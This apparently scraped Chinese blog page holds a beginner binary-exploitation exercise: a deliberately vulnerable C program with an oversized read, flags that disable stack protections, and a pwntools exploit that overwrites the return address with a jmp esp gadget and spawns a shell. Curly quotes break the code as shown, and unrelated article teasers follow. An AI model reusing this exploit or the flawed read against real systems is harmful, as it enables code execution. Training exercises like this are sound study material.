重邮二进制日天群-pwn1

给学弟们练手的题目,做的过程中接触一些基本概念

#include <stdio.h>
#include <unistd.h>
int main()
{

    char name[40];   

    welcome();

    printf("enter your name\n");
    read(STDIN_FILENO, name, 40);
    name[39] = ‘\x00‘;

    get_contents();
}

void welcome()
{
    printf("welcome to play the game!\n");
}

void get_contents()
{
    char contents[50];
    puts("enter the contents you want to save:");
    read(STDIN_FILENO, contents, 200);
}

编译参数

 -fno-stack-protector -z execstack -m32

题目是最简单的情况,不多加分析,下面直接给出exp

from pwn import *
context(os=‘linux‘, arch=‘x86‘)
#context.log_level=‘debug‘

# 0x80485e3 : jmp esp
# offset: 66
jmp_esp = 0x80485e3

p = process(‘./a.out‘)
#gdb.attach(p)

p.sendlineafter(‘name\n‘, ‘a‘)
p.sendlineafter(‘save:\n‘, ‘a‘*62 + p32(jmp_esp) + asm(shellcraft.sh()))

p.interactive()
时间: 2024-08-10 21:21:35

重邮二进制日天群-pwn1的相关文章

[转贴]CentOS7.5 Kubernetes V1.13(最新版)二进制部署集群

CentOS7.5 Kubernetes V1.13(最新版)二进制部署集群 http://blog.51cto.com/10880347/2326146 一.概述 kubernetes 1.13 已发布,这是 2018 年年内第四次也是最后一次发布新版本.Kubernetes 1.13 是迄今为止发布间隔最短的版本之一(与上一版本间隔十周),主要关注 Kubernetes 的稳定性与可扩展性,其中存储与集群生命周期相关的三项主要功能已逐步实现普遍可用性. Kubernetes 1.13 的核心

k8s实践19:kubernetes二进制部署集群v1.12升级v1.15

1.升级前的版本 [[email protected] ~]# kubectl version Client Version: version.Info{Major:"1", Minor:"10", GitVersion:"v1.10.4", GitCommit:"5ca598b4ba5abb89bb773071ce452e33fb66339d", GitTreeState:"clean", BuildDa

生产环境二进制k8s集群扩容node节点的实践

K8s二进制生产环境扩容node节点由于项目微服务也是部署在k8s集群中去维护的,所以扩容node节点也是必要的联系,扩容node节点一定要保证你整个集群的容器环境的网络都是互通的,这也是很重要的一步,这里我根据自己的经验去扩容,仅供参考首先我这里是安装的二进制方式去部署的k8s集群,进行扩容node的时候,也是非常方便的扩容node节点分为两步,第一步先将我们旧的node节点上的配置先去拷贝到我们新的节点上,第二点就是将我们的容器网络环境打通这里我是直接扩容两个node节点.第一步: 我们先去

CentOS7.5 Kubernetes V1.13(最新版)二进制部署集群

一.概述 Kubernetes 1.13 正式GA,这是2018年发布的第四次也是最后一次大版本,1.13也是迄今为止发行最快的版本,仅用10周时间.此版本继续关注Kubernetes的稳定性和可扩展性,其中在存储和群集生命周期领域的三个主要功能实现普遍可用(GA).Kubeadm简化集群管理.容器存储接口(CSI)和CoreDNS作为默认DNS. 1.安装环境准备: 部署节点说明 IP地址 主机名 CPU 内存 磁盘 172.16.8.100 qas-k8s-master01 4C 4G 50

kubernetes(八)二进制安装-集群简单验证

验证集群功能(在master节点上执行) 以一个nginx的service和deployment来验证集群功能 创建启动文件 mkdir /opt/k8s/yml cd /opt/k8s/yml cat > nginx.yml << EOF apiVersion: v1 kind: Service metadata: name: nginx labels: app: nginx spec: type: NodePort selector: app: nginx ports: - name

2015年6月10日 mysql5.5手册读书日记(4)

<?php /* InnoDB事务模型和锁定 15.2.10.1. InnoDB锁定模式 15.2.10.2. InnoDB和AUTOCOMMIT 15.2.10.3. InnoDB和TRANSACTION ISOLATION LEVEL 15.2.10.4. 持续非锁定读 15.2.10.5. 锁定读SELECT ... FOR UPDATE和SELECT ... LOCK IN SHARE MODE 15.2.10.6. Next-Key锁定:避免匪夷所思的问题 15.2.10.7. 持续读

mongodb集群化

转自:https://www.cnblogs.com/nulige/p/7613721.html 一.mongodb主从复制配置 主从复制是MongoDB最常用的复制方式,也是一个简单的数据库同步备份的集群技术,这种方式很灵活.可用于备份,故障恢复,读扩展等. 最基本的设置方式就是建立一个主节点和一个或多个从节点,每个从节点要知道主节点的地址.采用双机备份后主节点挂掉了后从节点可以接替主机继续服务.所以这种模式比单节点的高可用性要好很多. 配置主从复制的注意点 1 2 3 1)在数据库集群中要明

mysql 集群 数据同步

mysql集群配置在网站负载均衡中是必不可少的: 首先说下我个人准备的负载均衡方式: 1.通过nginx方向代理来将服务器压力分散到各个服务器上: 2.每个服务器中代码逻辑一样: 3.通过使用redis缓存来保存内存中数据,使用redis同步功能来同步不同服务器内存中的数据: 4.在通过mysql的集群配置来实现数据库数据同步: 这里我整理了几种数据同步方式: 一:主从服务器同步: 顾名思义:主服务器负责数据的增删改查,从服务器负责同步数据: 主服务器建立二进制文件:每产生语句变化或磁盘变化写入

资讯 | 2018年1月15日微信公开课解读!微信小程序开发资源

引言:2018年1月15日 微信公开课PRO开课了,本次课时内容将涉及:小程序.智慧零售.企业微信.小游戏  (附学习参考资料) 为了快速理解「2018 微信公开课 PRO 版」上张小龙的一小时演讲内容,结合下午微信公开课课室A_B_C的课时安排,这里为大家提前整理了相应的小程序学习参考资料: 微信公开课pro_A课室(14:00-17:50) 主题:小程序产品能力.开发.应用及规则 一.如何开发一个优秀的微信小程序/小游戏 微信小程序官方工具  https://mp.weixin.qq.com